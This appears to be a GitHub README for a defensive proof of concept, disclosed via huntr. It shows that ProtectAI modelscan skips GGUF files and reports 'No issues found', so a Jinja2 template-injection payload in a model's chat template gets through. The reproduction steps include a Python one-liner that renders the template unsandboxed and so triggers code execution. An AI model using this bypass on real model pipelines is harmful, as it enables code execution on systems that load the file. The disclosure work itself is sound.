thesecguy/poc-gguf-modelscan-bypass

Defensive PoC: GGUF SSTI via tokenizer.chat_template -- ProtectAI modelscan blind-spot

Do not load in production. Real ACE payload (sentinel /tmp/PWN_GGUF).

What it shows

modelscan 0.8.8 has zero .gguf support. The file is silently skipped with SCAN_NOT_SUPPORTED and the human-facing summary still says No issues found! 🎉. CI gates that grep that line accept the malicious file.

The payload is a Jinja2 SSTI in the tokenizer.chat_template GGUF metadata key. Any consumer that feeds the chat template to a non-sandboxed jinja2.Environment gets RCE on first call (CVE-2024-34359 class -- patched in llama-cpp-python>=0.2.72 but still alive in many forks / SGLang <=0.5.9 / custom wrappers).

Reproduce

pip install gguf modelscan jinja2
modelscan -p poc.gguf
# No issues found! 🎉
python3 -c "
import gguf, jinja2
r = gguf.GGUFReader('poc.gguf')
tmpl = next(f for f in r.fields.values() if f.name == 'tokenizer.chat_template').contents()
jinja2.Environment().from_string(tmpl).render()
"
ls /tmp/PWN_GGUF

Disclosed via huntr.com.